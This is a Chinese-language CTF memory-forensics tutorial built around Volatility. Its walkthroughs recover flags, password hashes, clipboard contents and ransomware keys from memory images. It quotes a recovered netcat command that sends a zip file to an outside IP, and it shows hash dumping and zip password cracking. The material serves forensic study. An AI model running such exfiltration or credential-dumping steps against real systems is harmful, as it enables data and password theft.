2.2 数字取证
volatility基本语法
volatility -f memory.raw imageinfo
读取内存的基本信息,可以得到profile信息
volatility -f memory.raw --profile=Win7SP1x64 [命令]
如:volatility -f memory.raw --profile=Win7SP1x64 hashdump
查看当前电脑用户名和密码
以上为语句的基本格式,下面会列举出一些常用命令,拼接在语句末尾即可
常用命令
pslist、psscan
查看进程
filescan
查看文件
filescan | grep flag
筛选
svcscan
查看服务
cmdscan
查看cmd历史
hivelist
查看注册表
sam类文件属于用户管理文件
iehistory
查看浏览器记录
netscan
查看网络记录
例题
文件链接:https://pan.baidu.com/s/1whj9cAeoTr6dPzOu0-8r5g?pwd=44nt
Suspicion (进程取证)
题目: 在进程中获取目标信息,并且拿到进程中文件内容
volatility -f mem.vmem imageinfo
volatility -f mem.vmem --profile=WinXPSP2x86 pslist
查看进程
发现TrueCrypt.exe,估计为加密工具pid为2012
volatility -f mem.vmem --profile=WinXPSP2x86 memdump -p 2012 -D ./
在本地安装efdd
进入efdd,decrypt or mount disk
true crypt(container)
open file选择加密过的内容,memory dump选择2012.dmp
mount disk
mount,发现电脑挂在了新的硬盘,打开硬盘,看到flag为
PCTF{T2reCrypt_15_N07_S3cu2e}
unmount 卸载硬盘
WIN-xxx.raw (操作系统取证)
题目: 获取目标操作系统中的用户密码信息
本题要求获取操作系统用户名和密码,直接执行:
volatility -f WIN-BU6IJ7FI9RU-20190927-152050.raw --profile Win7SP1x86_23418 hashdump
成功拿到cmd5加密后的用户名密码:
|
|
放到cmd5上解密即可
mem.raw (用户行为取证)
题目: 分析黑客在操作系统的行为
volatility -f mem.raw imageinfo
扫一下cmd:
volatility -f mem.raw --profile=Win7SP1x64 cmdscan
发现一条可疑的创建用户命令net user mumuzi (ljmmz)ovo
扫一下文件:
volatility -f mem.raw --profile=Win7SP1x64 filescan | grep flag
发现flag.zip
volatility -f mem.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003e4b2070 -D ./
导出文件到本地,修改为flag.zip,输入上面黑客提示的密码即可
拿到flag:flag{ez_di_imp_1t_y0u_like?}
zy.raw (浏览器历史记录取证)
题目: 获取用户浏览器历史记录
volatility -f zy.raw imageinfo
volatility -f zy.raw --profile=WinXPSP2x86 iehistory
获取历史记录可以发现flag.jpg hint.txt(虽然不知道为什么我扫不出来)
filescan | grep hint.txt
dumpfiles -Q 0x0000000002456028 -D ./
导出文件,改名,获取提示
filescan | grep fl4g
发现它桌面有个fl4g.zip
dumpfiles -Q 0x0000000002052028 -D ./
改名之后下载
发现2张图,jpg,png
stegsolve先加载png,image combier再加载jpg,合成之后调整通道,发现二维码
扫描二维码发现谐音提示(看半天看懂,气笑了):氟徕格乃錵扩号欸必西弟亿艾虎锯錵扩号,即flag{abcdefg}
memory.img (内存密文取证)
题目: 找到可疑内存进行取证+解密数据
volatility -f memory.img imageinfo
volatility -f memory.img --profile=Win2003SP1x86 pslist
查看进程
发现 DumpIt.exe pid 3660 1992
filescan | grep flag
发现桌面有flag.png
dumpfiles -Q 0x000000000484f900 -D ./
下载图片
扫码得到
jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4= 但是发现被加密了
memdump -p 1992 -D ./
进程下载下来
foremost 1992.dmp
对进程文件进行分解
发现:
|
|
判断为aes加密 使用工具:https://www.toolhelper.cn/SymmetricEncryption/AES
运算模式ecb
OtterCTF.vmem(大型综合深入取证)
题目:
- 你获取了瑞克电脑的内存样本。你能得到他的用户密码吗?
- 先来点简单的——这台电脑的名称和IP地址是什么?
- 瑞克特别喜欢玩一些经典的老游戏。你能看出他在玩什么游戏吗?游戏服务器的IP地址是多少?
- 我们得知账户登录到了一个名为“Lunar-3”的频道。请问账户名是什么?
- 根据初步调查,我们发现登录角色的用户名总是出现在以下签名之后:
0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2}瑞克在游戏中的角色名字是什么? - 瑞克总是忘记邮箱密码,因此他使用在线密码存储服务来保存密码。他总是通过复制粘贴来输入密码,以免输错。瑞克的邮箱密码是什么?
- 我们之所以获取瑞克电脑的内存转储,是因为它感染了恶意软件。请找出恶意软件的进程名(包含扩展名)。
- 恶意软件是如何进入瑞克电脑的?这很可能与瑞克过去的某个非法习惯有关……(可以结合《瑞克和莫蒂》的剧情来推测)
- 继续追踪恶意软件的入侵途径。
- 我们确认这个恶意软件是勒索软件。请找到攻击者的比特币地址。
- 恶意软件的图形界面有些可疑之处。
- 瑞克必须恢复他的文件!请问用于加密文件的随机密码是什么?
- 既然你已经从内存中提取出了密码,现在能解密瑞克的文件了吗?
解析:
- 执行
volatility -f OtterCTF.vmem --profile=Win7SP1x64 hashdumps得到:
|
|
-
netscan发现
192.168.202.131为电脑ip地址hivelist查看注册表发现
0xfffff8a000024010 0x000000002d50c010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000024010是这个注册表的虚拟地址-o 0xfffff8a000024010 printkey查看注册表中的key-o 0xfffff8a000024010 -K "ControlSet001" printkey查看subkey中的值最终经过层层查看,执行:
1volatility -f OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 -K "ControlSet001\Control\ComputerName\ComputerName" printkey后终于拿到计算机名:
WIN-LO6FAF3DTFE -
netscan发现
LunarMS.exe,连接到的服务器IP为77.102.199.102 -
导出LunarMS.exe的内存信息:
1volatility -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D .\使用010 Editer等十六进制查看工具打开,搜索"Lunar-3"附近的内容

因此账户名就是0tt3r8r33z3(没有理由,问就是玄学)
-
同样是分析刚才的708.dmp,根据题目所给线索,我们拼出一个搜索内容:
14006????????????????????????????????????5A0C0000在010 Editer中搜索(记得在选项中打开“使用通配符搜索”)可得唯一结果:

即游戏角色名为“M0rtyL0L”
-
根据提示,我们使用命令查看剪贴板:
1volatility -f OtterCTF.vmem --profile=Win7SP1x64 clipboard得到邮箱密码:
M@il_Pr0vid0rs -
执行命令
pstree查看进程树:
可疑,因为vmwware是虚拟机的进程,不应该出现在其他人的子进程中
执行命令:
cmdline -p 3720,3820判断两个进程的出生位置1 2 3 4 5 6 7Volatility Foundation Volatility Framework 2.6 ************************************************************************ Rick And Morty pid: 3820 Command line : "C:\Torrents\Rick And Morty season 1 download.exe" ************************************************************************ vmware-tray.ex pid: 3720 Command line : "C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe"
看到vmware-tray.exe存在于临时目录中,确定确实是恶意软件。
-
filescan | grep -i "Rick and Morty"发现在下载文件。:10x000000007d8813c0 2 0 RW-rwd \Device\HarddiskVolume1\Users\Rick\Downloads\Rick And Morty season 1 download.exe.torrentdumpfiles -Q 0000007dae9350 -D ./下载这个进程strings file.None.0xfffffa801b42c9e0.dat查看进程中所有的字符发现关键词
M3an_T0rren7_4_R!cke -
因为目标使用chrome浏览器
filescan | grep -i "chrome.*history*"搜索chrome相关历史,导出第一个:
dumpfiles -Q 0x000000007d45dcc0 -D ./发现下载了2个文件
chrome浏览器使用sqlite数据库存储的
使用sqlitestudio查看chrome数据(打开.dat文件),发现曾经访问@mail.com邮箱

开始寻找邮箱账号
strings OtterCTF.vmem > outterctf.strings内存转化为字符串grep "@mail.com" outterctf.strings在字符串中寻找关键词,找到邮箱[email protected]grep -A 20 "<[email protected]>" outterctf.strings搜索邮箱对应的邮件发现关键词
Hum@n_I5_Th3_Weak3s7_Link_In_Th3_Ch@inYear -
发现目标btc地址
filescan | grep "Desktop"搜查电脑桌面10x000000007d660500 2 0 -W-r-- \Device\HarddiskVolume1\Users\Rick\Desktop\READ_IT.txt发现黑客留下的勒索信
dumpfiles -Q 0x000000007d660500 -D ./阅读没发现什么把目标恶意软件3720进程下下来
memdump -p 3720 -D ./strings -e l 3720.dmp | grep -i -A 5 "ransom"注意上面这条是Linux命令,不要拼接在volatility语句后面!
搜索勒索方面的关键词看到btc地址
1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M
-
procdump -p 3720 -D ./把目标进程包装为exe格式binwalk executable.3720.exe查看恶意软件本尊中包含了什么 包含了图片,png格式foremost -t png executable.3720.exe专门分解里面的图片出来,结果:
-
继续分析刚才导出的3720.dmp
strings -e l 3720.dmp > 3720.dmp.strings把恶意进程转化为字符串grep "WIN-LO6FAF3DTFE" 3720.dmp.strings | wc -lgrep "WIN-LO6FAF3DTFE" 3720.dmp.strings | sort | uniq注意上面三条命令都是Linux自带命令,不要拼接在volatility语句后面!
发现
WIN-LO6FAF3DTFE-Rick aDOBofVYUNVnmp7 -
恢复被加密的文件
filescan | grep -i "flag"发现10x000000007e410890 16 0 R--r-- \Device\HarddiskVolume1\Users\Rick\Desktop\Flag.txtdumpfiles -Q 0x000000007e410890 -D ./改名为Flag.txt
打开c32把下面所有00去掉,保存
根据勒索软件的文件头搜索出来HiddenTear病毒,可以使用解密软件:https://pan.baidu.com/s/1HdaPg0w_Azr-foBGJsdNUA?pwd=x7j3
将待解密文件放在单独文件夹,修改上面的Extension(后缀名)为
.txt,之后输入这个aDOBofVYUNVnmp7密码
解密得
CTF{Im_Th@_B3S7_RicK_0f_Th3m_4ll}L-xxx-xxx.raw (黑客行为取证)
题目(迫真情景):
一天下午小白出去吃饭,临走之前还不忘锁了电脑,这时同寝室的小黑想搞点事情,懂点黑客和社工知识的小黑经过多次尝试获得了密码成功进入电脑,于是便悄悄在电脑上动起手脚了,便在桌面上写着什么,想给小白一个惊喜,同时还传送着小白的机密文件,正巧这时小白刚好回来,两人都吓了一跳,小黑也不管自己在电脑上留下的操作急忙离开电脑,故作淡定的说:“我就是随便看看”。
-
小黑发送的机密文件里面到底是什么,据说是flag?
-
小黑写的啥 ?
-
那么问题来了,小白的密码是啥?
解析:
-
cmdscan发现执行过以下命令:
nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip查找文件:
filescan | grep P@ssW0rd_is_y0ur_bir7hd4y.zip10x0000000002c61318 3 1 R--rw- \Device\HarddiskVolume1\Program Files\Netcat\P@ssW0rd_is_y0ur_bir7hd4y.zip导出文件:
dumpfiles -Q 0x0000000002c61318 -D ./发现2个文件,哪个文件改为.zip能用就用哪个
破解zip的密码,可使用ARCHPR软件,位置在
C:\tools\alltools\密码破解\rar密码破解-ARCHPR.zip自行安装最终密码是
19950101(爆不出来就是设置原因,例如是否勾选所有数字?密码长度是否足够?)发现flag
-
notepad看到记事本内容:666C61677B57336C6563306D655F376F5F466F72336E356963737D -
hashdump
xp-sp3.raw (行为分析取证)
题目: 获取记事本和图片的信息
1 2 3 4 5 6 7 8 9volatility -f xp_sp3.raw imageinfo volatility -f xp_sp3.raw --profile=WinXPSP2x86 pslist notepad 记事本里的内容为20211209(encrypt) volatility -f xp_sp3.raw --profile=WinXPSP2x86 filescan | grep flag导出文件
volatility -f xp_sp3.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000001e65028 -D ./图片里有字符串提示:
FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]
实际上原题的加密算法在flag.zip中,需要我们导出并用之前记事本里看到的密码解压查看,这里就直接给出解密脚本了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27s = list(b'FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]') t = '' def encrypt(x): if x >= ord('a') and x <= ord('w'): x += 3 elif x == ord('x'): x = ord('a') elif x == ord('y'): x = ord('b') elif x == ord('z'): x = ord('c') elif x == ord('_'): x = ord('|') x -= 32 return x for i in range(len(s)): for j in range(128): if encrypt(j) == s[i]: t += chr(j) break else: t += '?' print(t) # cazy{Xian?will?certainly?succeed?in?fighting?the?epidemic}把?替换成_:
cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}西安一定会战胜疫情
Target.vmem (pc和手机取证)
题目: 获取密码信息和手机信息
解析:
volatility -f Target.vmem imageinfovolatility -f Target.vmem --profile=Win7SP1x64 lsadump发现密码filescan | grep CTF文件查找10x000000007e164cc0 12 0 R--r-- \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb xx.yy.zz.exefilescan | grep HUAWEI查找华为信息10x000000007fe72430 2 0 -W-r-- \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb xx.yy.zz\picture\storage\MediaTar\images\images0.tar.enc导出文件
dumpfiles -Q 0x000000007fe72430 -D ./在GitHub上寻找工具对目标型号华为进行破解
mem.dump (磁盘加密取证)
题目: 打开mem.dump内存,里面有使用CnCrypt加密软件加密的内容,请破解挂载后取证
解析:
volatility -f mem.dump imageinfovolatility -f mem.dump --profile=Win7SP1x64 pslist发现 CnCrypt.exevolatility -f mem.dump --profile=Win7SP1x64 filescan | grep flag搜索flag文件位置导出文件
dumpfiles -Q 0x000000003e435890 -D ./volatility -f mem.dump --profile=Win7SP1x64 cmdscan发现提示,ccx的密码和管理员密码一样
volatility -f mem.dump --profile=Win7SP1x64 hashdump发现密码,使用解密平台解密:
ABCabc123CnCrypt_v1.29挂载加密卷(C:\tools\alltools\数字取证win工具)
打开加密卷中的文件得到flag:
flag{now_you_see_my_secret} -